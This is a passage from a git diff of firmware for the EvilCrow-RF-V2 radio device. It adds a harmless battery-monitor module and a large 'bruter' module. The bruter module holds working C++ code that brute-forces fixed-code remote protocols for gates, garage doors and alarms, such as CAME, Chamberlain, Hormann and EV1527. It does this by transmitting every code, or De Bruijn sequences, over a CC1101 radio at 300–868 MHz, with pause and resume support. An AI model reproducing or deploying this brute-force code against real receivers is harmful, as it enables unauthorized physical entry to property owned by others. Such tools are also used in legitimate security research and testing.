} + } + + initialized_ = true; +} + +uint16_t BatteryModule::readVoltage() { + // Multisample for noise reduction + uint32_t adcSum = 0; + for (int i = 0; i < ADC_SAMPLES; i++) { + adcSum += adc1_get_raw(ADC1_CHANNEL_0); + } + uint32_t adcAvg = adcSum / ADC_SAMPLES; + + // Convert averaged raw ADC reading to calibrated voltage + uint32_t voltage_mv = esp_adc_cal_raw_to_voltage(adcAvg, &adcChars_); + + // Apply voltage divider ratio to get actual battery voltage + uint16_t batteryVoltage = (uint16_t)(voltage_mv * BATTERY_DIVIDER_RATIO); + + return batteryVoltage; +} + +uint8_t BatteryModule::voltageToPercent(uint16_t voltage_mv) { + // Piecewise linear approximation of LiPo discharge curve + // Based on typical 3.7V LiPo cell characteristics + struct VoltagePoint { + uint16_t mv; + uint8_t pct; + }; + + // Discharge curve lookup table (descending voltage) + static const VoltagePoint curve[] = { + {4200, 100}, + {4150, 95}, + {4100, 90}, + {4000, 80}, + {3950, 75}, + {3900, 70}, + {3850, 60}, + {3800, 50}, + {3750, 40}, + {3700, 30}, + {3650, 20}, + {3500, 10}, + {3300, 5}, + {3200, 0}, + }; + static const int curveSize = sizeof(curve) / sizeof(curve[0]); + + // Clamp to range + if (voltage_mv >= curve[0].mv) return 100; + if (voltage_mv <= curve[curveSize - 1].mv) return 0; + + // Linear interpolation between curve points + for (int i = 0; i < curveSize - 1; i++) { + if (voltage_mv >= curve[i + 1].mv) { + uint16_t vRange = curve[i].mv - curve[i + 1].mv; + uint8_t pRange = curve[i].pct - curve[i + 1].pct; + uint16_t vDelta = voltage_mv - curve[i + 1].mv; + return curve[i + 1].pct + (uint8_t)((uint32_t)vDelta * pRange / vRange); + } + } + + return 0; +} + +bool BatteryModule::isCharging() { + // Charging detection: if voltage is above 4.15V and still rising, + // it's likely charging. A more robust approach would use a dedicated + // CHRG pin from the TP4056, but we approximate it from voltage. + // + // Heuristic: voltage > 4.15V suggests active charging or fully charged. + // The TP4056 CHRG pin (if connected to a GPIO) would be more reliable. + // + // TODO: If the schematic confirms a CHRG pin on a GPIO, read it directly. + return (lastVoltage_ > 4150); +} + +void BatteryModule::sendBatteryStatus() { + if (!initialized_) return; + + BinaryBatteryStatus msg; + msg.voltage_mv = lastVoltage_; + msg.percentage = lastPercent_; + msg.charging = lastCharging_ ? 1 : 0; + + ClientsManager::getInstance().notifyAllBinary( + NotificationType::DeviceInfo, + reinterpret_cast(&msg), + sizeof(msg)); + + ESP_LOGD(TAG, "Battery: %dmV %d%% charging=%d", + lastVoltage_, lastPercent_, lastCharging_); +} + +void BatteryModule::timerCallback(TimerHandle_t /*xTimer*/) { + uint16_t prevVoltage = lastVoltage_; + lastVoltage_ = readVoltage(); + lastPercent_ = voltageToPercent(lastVoltage_); + lastCharging_ = isCharging(); + + // Only send BLE notification if value changed significantly (Β±50mV or Β±2%) + int16_t vDiff = (int16_t)lastVoltage_ - (int16_t)prevVoltage; + if (vDiff < -50 || vDiff > 50) { + sendBatteryStatus(); + } +} + +#endif // BATTERY_MODULE_ENABLED diff --git a/src/modules/battery/BatteryModule.h b/src/modules/battery/BatteryModule.h new file mode 100644 index 0000000..a8549b8 --- /dev/null +++ b/src/modules/battery/BatteryModule.h @@ -0,0 +1,88 @@ +/** + * @file BatteryModule.h + * @brief Battery voltage monitoring via ADC for EvilCrow-RF-V2. + * + * Reads battery voltage through a voltage divider on GPIO 36 (VP). + * Typical hardware: LiPo 1000mAh with R1=100K/R2=100K divider. + * + * Features: + * - Periodic ADC reading with averaging (multisampling) + * - Voltage-to-percentage conversion (linear LiPo curve approximation) + * - BLE notification (MSG_BATTERY_STATUS = 0xC3) + * - FreeRTOS timer for background monitoring + */ + +#ifndef BATTERY_MODULE_H +#define BATTERY_MODULE_H + +#include +#include "config.h" +#include "BinaryMessages.h" + +#if BATTERY_MODULE_ENABLED + +#include +#include "core/ble/ClientsManager.h" +#include "esp_log.h" + +class BatteryModule { +public: + /** + * Initialize ADC for battery reading. + * Configures GPIO 36 with 11dB attenuation (0-3.3V range). + * Starts periodic timer if interval > 0. + */ + static void init(); + + /** + * Read current battery voltage (multisampled + calibrated). + * @return Battery voltage in millivolts (before divider compensation). + */ + static uint16_t readVoltage(); + + /** + * Convert battery voltage to percentage. + * Uses piecewise linear approximation of LiPo discharge curve. + * @param voltage_mv Battery voltage in millivolts. + * @return Percentage 0-100. + */ + static uint8_t voltageToPercent(uint16_t voltage_mv); + + /** + * Check if battery is currently charging. + * @return true if charging is detected. + */ + static bool isCharging(); + + /** + * Send battery status via BLE. + * Called periodically by timer and on demand (e.g., getState). + */ + static void sendBatteryStatus(); + + /// @return Last read voltage in mV. + static uint16_t getLastVoltage() { return lastVoltage_; } + + /// @return Last calculated percentage. + static uint8_t getLastPercent() { return lastPercent_; } + + /// @return true if module is initialized. + static bool isInitialized() { return initialized_; } + +private: + static bool initialized_; + static uint16_t lastVoltage_; + static uint8_t lastPercent_; + static bool lastCharging_; + static esp_adc_cal_characteristics_t adcChars_; + static TimerHandle_t readTimer_; + + /// Timer callback β€” reads voltage and sends BLE notification. + static void timerCallback(TimerHandle_t xTimer); + + /// Number of ADC samples to average for noise reduction. + static constexpr int ADC_SAMPLES = 16; +}; + +#endif // BATTERY_MODULE_ENABLED +#endif // BATTERY_MODULE_H diff --git a/src/modules/bruter/bruter_main.cpp b/src/modules/bruter/bruter_main.cpp new file mode 100644 index 0000000..2a1e3ea --- /dev/null +++ b/src/modules/bruter/bruter_main.cpp @@ -0,0 +1,946 @@ +#include "bruter_main.h" +#include "../../include/config.h" +#include "../../lib/CC1101_RadioLib/CC1101_Radio.h" +#include "../../src/modules/CC1101_driver/CC1101_Module.h" +#include "../../src/core/device_controls/DeviceControls.h" +#include "../../src/core/ble/ClientsManager.h" +#include "../../include/BinaryMessages.h" +#include "../../include/BruterState.h" +#include + +// Include protocol headers +#include "protocols/protocol.h" +#include "protocols/Came.h" +#include "protocols/Princeton.h" +#include "protocols/NiceFlo.h" +#include "protocols/Chamberlain.h" +#include "protocols/Linear.h" +#include "protocols/Holtek.h" +#include "protocols/LiftMaster.h" +#include "protocols/Ansonic.h" +#include "protocols/EV1527.h" +#include "protocols/Honeywell.h" +#include "protocols/FAAC.h" +#include "protocols/BFT.h" +#include "protocols/SMC5326.h" +// New protocols (14-33) +#include "protocols/Clemsa.h" +#include "protocols/GateTX.h" +#include "protocols/Phox.h" +#include "protocols/PhoenixV2.h" +#include "protocols/Prastel.h" +#include "protocols/Doitrand.h" +#include "protocols/Dooya.h" +#include "protocols/Nero.h" +#include "protocols/Magellen.h" +#include "protocols/Firefly.h" +#include "protocols/LinearMegaCode.h" +#include "protocols/Hormann.h" +#include "protocols/Marantec.h" +#include "protocols/Berner.h" +#include "protocols/IntertechnoV3.h" +#include "protocols/StarLine.h" +#include "protocols/Tedsen.h" +#include "protocols/Airforce.h" +#include "protocols/Unilarm.h" +#include "protocols/ELKA.h" +#include "protocols/DynamicProtocol.h" +#include "debruijn.h" + +// Global instance +static BruterModule bruterModule; + +// Volatile cancel flag β€” can be set from another task/ISR to stop a running attack +volatile bool bruterCancelFlag = false; + +// Static task resources for async attack execution (BSS, no heap usage) +static constexpr size_t BRUTER_TASK_STACK_WORDS = 4096; // 4096 * 4 = 16384 bytes +static StackType_t bruterTaskStack[BRUTER_TASK_STACK_WORDS]; +static StaticTask_t bruterTaskTCB; +TaskHandle_t BruterModule::attackTaskHandle = nullptr; + +BruterModule& getBruterModule() { + return bruterModule; +} + +bool bruter_init() { + return bruterModule.setupCC1101(); +} + +void bruter_handleCommand(const String& command) { + if (command == "BRUTER") { + // Placeholder for interactive menu output + } +} + +bool BruterModule::setupCC1101() { + // Acquire shared SPI semaphore β€” the bruter shares the HSPI bus + // and the global currentModule variable with CC1101Worker. + SemaphoreHandle_t spiMutex = ModuleCc1101::getSpiSemaphore(); + xSemaphoreTake(spiMutex, portMAX_DELAY); + + cc1101.addSpiPin(RF_SCK, RF_MISO, RF_MOSI, RF_CS, MODULE_2); + cc1101.addGDO0(RF_GDO0, MODULE_2); + cc1101.setModul(MODULE_2); + if (!cc1101.getCC1101()) { + xSemaphoreGive(spiMutex); + return false; + } + cc1101.Init(); + cc1101.setPktFormat(3); + cc1101.setModulation(2); + cc1101.setPA(10); + cc1101.SetTx(); + pinMode(RF_TX, OUTPUT); + + xSemaphoreGive(spiMutex); + return true; +} + +void BruterModule::setFrequencyCorrected(float target_mhz) { + float corrected_mhz = target_mhz - BRUTER_CC1101_FREQ_OFFSET; + if (corrected_mhz == current_mhz) { + return; + } + // Acquire shared SPI semaphore β€” setMHZ() writes to the CC1101 over SPI + SemaphoreHandle_t spiMutex = ModuleCc1101::getSpiSemaphore(); + xSemaphoreTake(spiMutex, portMAX_DELAY); + cc1101.setModul(MODULE_2); // Ensure currentModule targets MODULE_2 + cc1101.setMHZ(corrected_mhz); + xSemaphoreGive(spiMutex); + current_mhz = corrected_mhz; +} + +void BruterModule::sendPulse(int duration) { + if (duration == 0) { + return; + } + digitalWrite(RF_TX, (duration > 0) ? HIGH : LOW); + delayMicroseconds(abs(duration)); +} + +// ----------------------------------------------------------------- +// Async task support +// ----------------------------------------------------------------- + +void BruterModule::attackTaskFunc(void* param) { + uint8_t choice = (uint8_t)(uintptr_t)param; + ESP_LOGI("Bruter", "Async attack task started: menu %d (stack=%d bytes)", + choice, BRUTER_TASK_STACK_WORDS * sizeof(StackType_t)); + + BruterModule& bruter = getBruterModule(); + bruter.currentMenuId = choice; + bruter.pauseRequested = false; + + // Clear any old saved state when starting a NEW attack (not a resume). + // Resume sets resumeFromCode > 0 before task creation. + if (bruter.resumeFromCode == 0) { + BruterStateManager::clearState(); + } + + bruter.executeMenu(choice); + + // After the attack loop finishes, check whether it was paused + if (bruter.pauseRequested && bruter.lastCodesSent > 0) { + // Save state to LittleFS + extern uint32_t deviceTime; + BruterSavedState state = {}; + state.magic = BRUTER_STATE_MAGIC; + state.menuId = choice; + state.currentCode = bruter.lastCodesSent; + state.totalCodes = 0; // Will be filled by attack function + state.interFrameDelayMs = bruter.interFrameDelayMs; + state.globalRepeats = bruter.globalRepeats; + state.timestamp = deviceTime; + state.attackType = bruter.currentAttackType; + + // totalCodes was stored in lastCodesSent context β€” read from progress + // We stored it in a separate variable + state.totalCodes = bruter.pauseTotalCodes; + + BruterStateManager::saveState(state); + + // Notify app that the attack was paused + BinaryBruterPaused pauseMsg = {}; + pauseMsg.menuId = choice; + pauseMsg.currentCode = state.currentCode; + pauseMsg.totalCodes = state.totalCodes; + pauseMsg.percentage = (state.totalCodes > 0) + ? (uint8_t)((uint64_t)state.currentCode * 100 / state.totalCodes) : 0; + ClientsManager::getInstance().notifyAllBinary( + NotificationType::BruterComplete, + reinterpret_cast(&pauseMsg), + sizeof(BinaryBruterPaused)); + ESP_LOGI("Bruter", "Attack paused: menu %d at code %lu/%lu", + choice, (unsigned long)state.currentCode, (unsigned long)state.totalCodes); + } else { + // Normal completion or cancel β€” send completion signal + BinaryBruterComplete completeMsg; + completeMsg.menuId = choice; + completeMsg.status = bruterCancelFlag ? 1 : 0; // 0=completed, 1=cancelled + completeMsg.reserved = 0; + completeMsg.totalSent = bruter.lastCodesSent; + ClientsManager::getInstance().notifyAllBinary( + NotificationType::BruterComplete, + reinterpret_cast(&completeMsg), + sizeof(BinaryBruterComplete)); + ESP_LOGI("Bruter", "Completion signal sent: menu %d, status=%d", choice, completeMsg.status); + + // Clear saved state on stop/complete (not pause) + if (!bruter.pauseRequested) { + BruterStateManager::clearState(); + } + } + + UBaseType_t hwm = uxTaskGetStackHighWaterMark(NULL); + ESP_LOGI("Bruter", "Attack finished: menu %d, stack HWM=%lu bytes free", + choice, (unsigned long)(hwm * sizeof(StackType_t))); + + bruter.currentMenuId = 0; + bruter.resumeFromCode = 0; + bruter.pauseRequested = false; + attackTaskHandle = nullptr; + vTaskDelete(NULL); +} + +bool BruterModule::startAttackAsync(uint8_t menuChoice) { + if (attackTaskHandle != nullptr || attackRunning) { + ESP_LOGW("Bruter", "Cannot start menu %d β€” attack already running", menuChoice); + return false; + } + resumeFromCode = 0; // Fresh attack + // Use static allocation, pinned to Core 1 (app core, RF time-sensitive) + attackTaskHandle = xTaskCreateStatic( + attackTaskFunc, + "bruter_atk", + BRUTER_TASK_STACK_WORDS, + (void*)(uintptr_t)menuChoice, + 2, // Priority 2 (above normal, below CC1101Worker at 5) + bruterTaskStack, + &bruterTaskTCB + ); + return (attackTaskHandle != nullptr); +} + +bool BruterModule::resumeAttackAsync() { + if (attackTaskHandle != nullptr || attackRunning) { + ESP_LOGW("Bruter", "Cannot resume β€” attack already running"); + return false; + } + BruterSavedState saved; + if (!BruterStateManager::loadState(saved)) { + ESP_LOGW("Bruter", "No saved state to resume from"); + return false; + } + // Restore settings from saved state + interFrameDelayMs = saved.interFrameDelayMs; + globalRepeats = saved.globalRepeats; + currentAttackType = saved.attackType; + resumeFromCode = BruterStateManager::getResumeStartCode(saved.currentCode); + pauseTotalCodes = saved.totalCodes; + + ESP_LOGI("Bruter", "Resuming menu %d from code %lu (overlap from %lu)", + saved.menuId, (unsigned long)saved.currentCode, + (unsigned long)resumeFromCode); + + // Send resumed notification + BinaryBruterResumed resumeMsg = {}; + resumeMsg.menuId = saved.menuId; + resumeMsg.resumeCode = resumeFromCode; + resumeMsg.totalCodes = saved.totalCodes; + ClientsManager::getInstance().notifyAllBinary( + NotificationType::BruterComplete, + reinterpret_cast(&resumeMsg), + sizeof(BinaryBruterResumed)); + + // Launch the task with the saved menu choice + attackTaskHandle = xTaskCreateStatic( + attackTaskFunc, + "bruter_atk", + BRUTER_TASK_STACK_WORDS, + (void*)(uintptr_t)saved.menuId, + 2, + bruterTaskStack, + &bruterTaskTCB + ); + return (attackTaskHandle != nullptr); +} + +void BruterModule::pauseAttack() { + pauseRequested = true; + bruterCancelFlag = true; // Stop the loop + ESP_LOGI("Bruter", "Pause requested β€” state will be saved"); +} + +void BruterModule::checkAndNotifySavedState() { + BruterSavedState saved; + if (BruterStateManager::loadState(saved)) { + BinaryBruterStateAvail msg = {}; + msg.menuId = saved.menuId; + msg.currentCode = saved.currentCode; + msg.totalCodes = saved.totalCodes; + msg.percentage = (saved.totalCodes > 0) + ? (uint8_t)((uint64_t)saved.currentCode * 100 / saved.totalCodes) : 0; + ClientsManager::getInstance().notifyAllBinary( + NotificationType::BruterComplete, + reinterpret_cast(&msg), + sizeof(BinaryBruterStateAvail)); + ESP_LOGI("Bruter", "Notified app of saved state: menu=%d code=%lu/%lu", + saved.menuId, (unsigned long)saved.currentCode, + (unsigned long)saved.totalCodes); + } +} + +void BruterModule::executeMenu(uint8_t menuChoice) { + switch (menuChoice) { + case 1: menu1(); break; + case 2: menu2(); break; + case 3: menu3(); break; + case 4: menu4(); break; + case 5: menu5(); break; + case 6: menu6(); break; + case 7: menu7(); break; + case 8: menu8(); break; + case 9: menu9(); break; + case 10: menu10(); break; + case 11: menu11(); break; + case 12: menu12(); break; + case 13: menu13(); break; + case 14: menu14(); break; + case 15: menu15(); break; + case 16: menu16(); break; + case 17: menu17(); break; + case 18: menu18(); break; + case 19: menu19(); break; + case 20: menu20(); break; + case 21: menu21(); break; + case 22: menu22(); break; + case 23: menu23(); break; + case 24: menu24(); break; + case 25: menu25(); break; + case 26: menu26(); break; + case 27: menu27(); break; + case 28: menu28(); break; + case 29: menu29(); break; + case 30: menu30(); break; + case 31: menu31(); break; + case 32: menu32(); break; + case 33: menu33(); break; + case 34: menu_elka(); break; // ELKA (exposed) + // De Bruijn attack menus + case 35: menuDeBruijnGeneric433(); break; + case 36: menuDeBruijnGeneric315(); break; + case 37: menuDeBruijnHoltek(); break; + case 38: menuDeBruijnLinear(); break; + case 39: menuDeBruijnEV1527(); break; + case 40: menuDeBruijnUniversal(); break; + case 0xFD: menuDeBruijnCustom(); break; // Custom params via BLE + default: + ESP_LOGW("Bruter", "Unknown menu choice: %d", menuChoice); + break; + } +} + +bool BruterModule::attackBinary(bruter::c_rf_protocol* proto, const char* name, int bits, float mhz) { + bruterCancelFlag = false; + attackRunning = true; + lastCodesSent = 0; + currentAttackType = 0; // binary + setFrequencyCorrected(mhz); + // Use 64-bit to avoid UB when bits==32 (1UL << 32 is undefined on 32-bit platforms) + // For bits==32 the full keyspace is 2^32 = 4,294,967,296 which does not fit + // a uint32_t, but the loop variable wraps safely with the overflow guard below. + uint32_t total = (bits >= 32) ? 0xFFFFFFFFU : (1UL << bits); + bool is32bit = (bits >= 32); // need special loop termination + pauseTotalCodes = total; + + // Support resume: start from saved position instead of 0 + uint32_t startCode = resumeFromCode; + if (startCode >= total) startCode = 0; + + unsigned long startTime = millis(); + + ESP_LOGI("Bruter", "Starting binary attack: %s, bits=%d, freq=%.2f, total=%lu, start=%lu, delay=%dms", + name, bits, mhz, total, (unsigned long)startCode, interFrameDelayMs); + + // Send initial progress + { + BinaryBruterProgress progress; + progress.currentCode = startCode; + progress.totalCodes = total; + progress.menuId = currentMenuId; + progress.percentage = (total > 0) ? (uint8_t)((uint64_t)startCode * 100 / total) : 0; + progress.codesPerSec = 0; + ClientsManager::getInstance().notifyAllBinary( + NotificationType::BruterProgress, + reinterpret_cast(&progress), + sizeof(BinaryBruterProgress)); + } + + for (uint32_t i = startCode; ; i++) { + // Overflow-safe termination: for <32 bits, stop at total. + // For 32 bits, the loop runs until i wraps past 0xFFFFFFFF. + if (!is32bit && i >= total) break; + + if (bruterCancelFlag) { + ESP_LOGI("Bruter", "Attack %s at code %lu/%lu", + pauseRequested ? "paused" : "cancelled", i, total); + lastCodesSent = i; // Record where we stopped + break; + } + + // Progress report every BRUTER_PROGRESS_INTERVAL codes via BLE + if ((i % BRUTER_PROGRESS_INTERVAL) == 0 && i > 0) { + unsigned long elapsed = millis() - startTime; + uint16_t cps = (elapsed > 0) ? (uint16_t)((uint64_t)i * 1000ULL / elapsed) : 0; + + BinaryBruterProgress progress; + progress.currentCode = i; + progress.totalCodes = total; + progress.menuId = currentMenuId; + progress.percentage = (uint8_t)((uint64_t)i * 100UL / total); + progress.codesPerSec = cps; + ClientsManager::getInstance().notifyAllBinary( + NotificationType::BruterProgress, + reinterpret_cast(&progress), + sizeof(BinaryBruterProgress)); + + ESP_LOGD("Bruter", "Progress: %lu/%lu (%.1f%%) %d c/s - %s", + (unsigned long)i, (unsigned long)total, + (float)i / (float)total * 100.0f, cps, name); + } + + for (int r = 0; r < globalRepeats; r++) { + for (int p : proto->pilot_period) { + sendPulse(p); + } + + for (int b = bits - 1; b >= 0; b--) { + char bitChar = ((i >> b) & 1) ? '1' : '0'; + if (proto->transposition_table.count(bitChar)) { + for (int t : proto->transposition_table[bitChar]) { + sendPulse(t); + } + } + } + + for (int s : proto->stop_bit) { + sendPulse(s); + } + digitalWrite(RF_TX, LOW); + vTaskDelay(pdMS_TO_TICKS(interFrameDelayMs)); + } + yield(); + + // For 32-bit keyspace, stop after processing 0xFFFFFFFF (i will overflow to 0) + if (is32bit && i == 0xFFFFFFFFU) break; + } + // If we reached the end without cancel, record total + if (!bruterCancelFlag) { + lastCodesSent = total; + } + attackRunning = false; + digitalWrite(RF_TX, LOW); + digitalWrite(LED, LOW); + ESP_LOGI("Bruter", "Binary attack finished: %s", name); + return true; +} + +bool BruterModule::attackTristate(bruter::c_rf_protocol* proto, const char* name, int positions, float mhz) { + bruterCancelFlag = false; + attackRunning = true; + lastCodesSent = 0; + currentAttackType = 1; // tristate + setFrequencyCorrected(mhz); + uint32_t total = 1; + for (int p = 0; p < positions; p++) { + total *= 3; + } + pauseTotalCodes = total; + + // Support resume: start from saved position + uint32_t startCode = resumeFromCode; + if (startCode >= total) startCode = 0; + + unsigned long startTime = millis(); + + ESP_LOGI("Bruter", "Starting tristate attack: %s, positions=%d, freq=%.2f, total=%lu, start=%lu, delay=%dms", + name, positions, mhz, total, (unsigned long)startCode, interFrameDelayMs); + + for (uint32_t i = startCode; i < total; i++) { + if (bruterCancelFlag) { + ESP_LOGI("Bruter", "Attack %s at code %lu/%lu", + pauseRequested ? "paused" : "cancelled", i, total); + lastCodesSent = i; + break; + } + + // Progress report every BRUTER_PROGRESS_INTERVAL codes via BLE + if ((i % BRUTER_PROGRESS_INTERVAL) == 0 && i > 0) { + unsigned long elapsed = millis() - startTime; + uint16_t cps = (elapsed > 0) ? (uint16_t)((uint64_t)i * 1000ULL / elapsed) : 0; + + BinaryBruterProgress progress; + progress.currentCode = i; + progress.totalCodes = total; + progress.menuId = currentMenuId; + progress.percentage = (uint8_t)((uint64_t)i * 100UL / total); + progress.codesPerSec = cps; + ClientsManager::getInstance().notifyAllBinary( + NotificationType::BruterProgress, + reinterpret_cast(&progress), + sizeof(BinaryBruterProgress)); + + ESP_LOGD("Bruter", "Progress: %lu/%lu (%.1f%%) %d c/s - %s", + (unsigned long)i, (unsigned long)total, + (float)i / (float)total * 100.0f, cps, name); + } + + uint32_t temp = i; + for (int r = 0; r < globalRepeats; r++) { + for (int p : proto->pilot_period) { + sendPulse(p); + } + + for (int p = 0; p < positions; p++) { + int val = temp % 3; + char code = (val == 0) ? '0' : (val == 1 ? '1' : 'F'); + if (proto->transposition_table.count(code)) { + for (int t : proto->transposition_table[code]) { + sendPulse(t); + } + } + temp /= 3; + } + temp = i; + + for (int s : proto->stop_bit) { + sendPulse(s); + } + digitalWrite(RF_TX, LOW); + vTaskDelay(pdMS_TO_TICKS(interFrameDelayMs)); + } + yield(); + } + if (!bruterCancelFlag) { + lastCodesSent = total; + } + attackRunning = false; + digitalWrite(RF_TX, LOW); + digitalWrite(LED, LOW); + ESP_LOGI("Bruter", "Tristate attack finished: %s", name); + return true; +} + +void BruterModule::menu1() { + bruter::protocol_came p; + attackBinary(&p, "CAME 12b", 12, 433.92); +} + +void BruterModule::menu2() { + bruter::protocol_princeton p; + attackTristate(&p, "PRINCETON 12b", 12, 433.92); +} + +void BruterModule::menu3() { + bruter::protocol_niceflo p; + attackBinary(&p, "NICEFLO 12b", 12, 433.92); +} + +void BruterModule::menu4() { + bruter::protocol_chamberlain p; + attackBinary(&p, "CHAMBERLAIN 12b", 12, 315.0); +} + +void BruterModule::menu5() { + bruter::protocol_linear p; + attackBinary(&p, "LINEAR 10b", 10, 300.0); +} + +void BruterModule::menu6() { + bruter::protocol_holtek p; + attackBinary(&p, "HOLTEK 12b", 12, 433.92); +} + +void BruterModule::menu7() { + bruter::protocol_liftmaster p; + attackBinary(&p, "LIFTMASTER 12b", 12, 315.0); +} + +void BruterModule::menu8() { + bruter::protocol_ansonic p; + attackBinary(&p, "ANSONIC 12b", 12, 433.92); +} + +void BruterModule::menu9() { + bruter::protocol_ev1527 p; + attackBinary(&p, "EV1527 12b", 12, 433.92); +} + +void BruterModule::menu10() { + bruter::protocol_honeywell p; + attackBinary(&p, "HONEYWELL 12b", 12, 433.92); +} + +void BruterModule::menu11() { + bruter::protocol_faac p; + attackBinary(&p, "FAAC 12b", 12, 433.92); +} + +void BruterModule::menu12() { + bruter::protocol_bft p; + attackBinary(&p, "BFT 12b", 12, 433.92); +} + +void BruterModule::menu13() { + bruter::protocol_smc5326 p; + attackTristate(&p, "SMC5326 12b", 12, 433.42); +} + +// --- Menu 14-33: Newly integrated protocols --- + +// European remotes (additional) +void BruterModule::menu14() { + bruter::protocol_clemsa p; + attackBinary(&p, "CLEMSA 12b", 12, 433.92); +} + +void BruterModule::menu15() { + bruter::protocol_gate_tx p; + attackBinary(&p, "GATETX 12b", 12, 433.92); +} + +void BruterModule::menu16() { + bruter::protocol_phox p; + attackBinary(&p, "PHOX 12b", 12, 433.92); +} + +void BruterModule::menu17() { + bruter::protocol_phoenix_v2 p; + attackBinary(&p, "PHOENIX_V2 12b", 12, 433.92); +} + +void BruterModule::menu18() { + bruter::protocol_prastel p; + attackBinary(&p, "PRASTEL 12b", 12, 433.92); +} + +void BruterModule::menu19() { + bruter::protocol_doitrand p; + attackBinary(&p, "DOITRAND 12b", 12, 433.92); +} + +// Home automation +void BruterModule::menu20() { + bruter::protocol_dooya p; + attackBinary(&p, "DOOYA 24b", 24, 433.92); +} + +void BruterModule::menu21() { + bruter::protocol_nero p; + attackBinary(&p, "NERO 12b", 12, 433.92); +} + +void BruterModule::menu22() { + bruter::protocol_magellen p; + attackBinary(&p, "MAGELLEN 12b", 12, 433.92); +} + +// USA old / legacy +void BruterModule::menu23() { + bruter::protocol_firefly p; + attackBinary(&p, "FIREFLY 10b", 10, 300.0); +} + +void BruterModule::menu24() { + bruter::protocol_linear_megacode p; + attackBinary(&p, "LINEAR_MEGACODE 24b", 24, 318.0); +} + +// 868 MHz protocols +void BruterModule::menu25() { + bruter::protocol_hormann p; + attackBinary(&p, "HORMANN 12b", 12, 868.35); +} + +void BruterModule::menu26() { + bruter::protocol_marantec p; + attackBinary(&p, "MARANTEC 12b", 12, 868.35); +} + +void BruterModule::menu27() { + bruter::protocol_berner p; + attackBinary(&p, "BERNER 12b", 12, 868.35); +} + +// Intertechno (32-bit) +void BruterModule::menu28() { + bruter::protocol_intertechno_v3 p; + attackBinary(&p, "INTERTECHNO_V3 32b", 32, 433.92); +} + +// EV1527 24-bit variant (alarm sensors with full 24-bit keyspace) +void BruterModule::menu29() { + bruter::protocol_ev1527 p; + attackBinary(&p, "EV1527 24b", 24, 433.92); +} + +// Others/Misc +void BruterModule::menu30() { + bruter::protocol_starline p; + attackBinary(&p, "STARLINE 12b", 12, 433.92); +} + +void BruterModule::menu31() { + bruter::protocol_tedsen p; + attackBinary(&p, "TEDSEN 12b", 12, 433.92); +} + +void BruterModule::menu32() { + bruter::protocol_airforce p; + attackBinary(&p, "AIRFORCE 12b", 12, 433.92); +} + +void BruterModule::menu33() { + bruter::protocol_unilarm p; + attackBinary(&p, "UNILARM 12b", 12, 433.42); +} + +// ----------------------------------------------------------------- +// De Bruijn attack β€” transmits B(2,n) continuous bitstream +// ----------------------------------------------------------------- + +bool BruterModule::attackDeBruijn( + bruter::c_rf_protocol* proto, const char* name, + int bits, float mhz, int repeats) +{ + if (bits > DEBRUIJN_MAX_BITS || bits < 1) { + ESP_LOGE("Bruter", "[DeBruijn] n=%d out of range [1..%d]", bits, DEBRUIJN_MAX_BITS); + return false; + } + + // Check heap before allocating the sequence + if (!bruter::canGenerateDeBruijn(bits)) { + ESP_LOGE("Bruter", "[DeBruijn] Insufficient heap for n=%d", bits); + return false; + } + + bruterCancelFlag = false; + attackRunning = true; + lastCodesSent = 0; + currentAttackType = 2; // debruijn + + ESP_LOGI("Bruter", "[DeBruijn] Generating B(2,%d) for %s...", bits, name); + + // Generate the De Bruijn sequence (heap-allocated, caller must free) + uint32_t seqLength = 0; + uint8_t* seq = bruter::generateDeBruijn(bits, seqLength); + if (seq == nullptr || seqLength == 0) { + ESP_LOGE("Bruter", "[DeBruijn] Generation failed for n=%d", bits); + attackRunning = false; + return false; + } + + ESP_LOGI("Bruter", "[DeBruijn] TX @ %.2f MHz | %lu bits | %d reps | %s", + mhz, (unsigned long)seqLength, repeats, name); + + // Set frequency + setFrequencyCorrected(mhz); + + uint32_t totalBitsAllReps = seqLength * (uint32_t)repeats; + pauseTotalCodes = totalBitsAllReps; + unsigned long startTime = millis(); + + // Send initial 0% progress + { + BinaryBruterProgress progress; + progress.currentCode = 0; + progress.totalCodes = totalBitsAllReps; + progress.menuId = currentMenuId; + progress.percentage = 0; + progress.codesPerSec = 0; + ClientsManager::getInstance().notifyAllBinary( + NotificationType::BruterProgress, + reinterpret_cast(&progress), + sizeof(BinaryBruterProgress)); + } + + uint32_t globalBitsSent = 0; + + // Transmit with repeats + for (int r = 0; r < repeats && !bruterCancelFlag; r++) { + + // Send pilot once at start of each repeat + for (int p : proto->pilot_period) { + sendPulse(p); + } + + // Stream bits continuously β€” the core of De Bruijn + for (uint32_t i = 0; i < seqLength && !bruterCancelFlag; i++) { + char bitChar = seq[i] ? '1' : '0'; + + // Look up transposition table and send pulses + auto it = proto->transposition_table.find(bitChar); + if (it != proto->transposition_table.end()) { + for (int t : it->second) { + sendPulse(t); + } + } + + globalBitsSent++; + + // LED is managed by DeviceControls::bruterActiveBlink() in main loop + + // BLE progress every DEBRUIJN_PROGRESS_INTERVAL bits + if (i > 0 && (i % DEBRUIJN_PROGRESS_INTERVAL) == 0) { + unsigned long elapsed = millis() - startTime; + uint32_t totalSentSoFar = (uint32_t)r * seqLength + i; + uint8_t pct = (uint8_t)((uint64_t)totalSentSoFar * 100UL / totalBitsAllReps); + uint16_t bps = (elapsed > 0) + ? (uint16_t)((uint32_t)totalSentSoFar * 1000UL / elapsed) : 0; + + BinaryBruterProgress progress; + progress.currentCode = totalSentSoFar; + progress.totalCodes = totalBitsAllReps; + progress.menuId = currentMenuId; + progress.percentage = pct; + progress.codesPerSec = bps; // bits/sec in De Bruijn mode + ClientsManager::getInstance().notifyAllBinary( + NotificationType::BruterProgress, + reinterpret_cast(&progress), + sizeof(BinaryBruterProgress)); + } + + // Yield every 64 bits β€” gives loop() time for LED blink + if ((i & 63) == 0 && i > 0) { + yield(); + } + } + + // Send stop bit at end of each repeat + for (int s : proto->stop_bit) { + sendPulse(s); + } + digitalWrite(RF_TX, LOW); + + // Short pause between repeats (no need for interFrameDelayMs here) + if (r < repeats - 1 && !bruterCancelFlag) { + vTaskDelay(pdMS_TO_TICKS(10)); + } + } + + // Free the heap-allocated sequence immediately + free(seq); + seq = nullptr; + + // LED off, attack done + digitalWrite(RF_TX, LOW); + digitalWrite(LED, LOW); + lastCodesSent = bruterCancelFlag ? 0 : globalBitsSent; + attackRunning = false; + + ESP_LOGI("Bruter", "[DeBruijn] Done: %lu bits sent (%s) - %s", + (unsigned long)globalBitsSent, + bruterCancelFlag ? "cancelled" : "complete", name); + return true; +} + +// 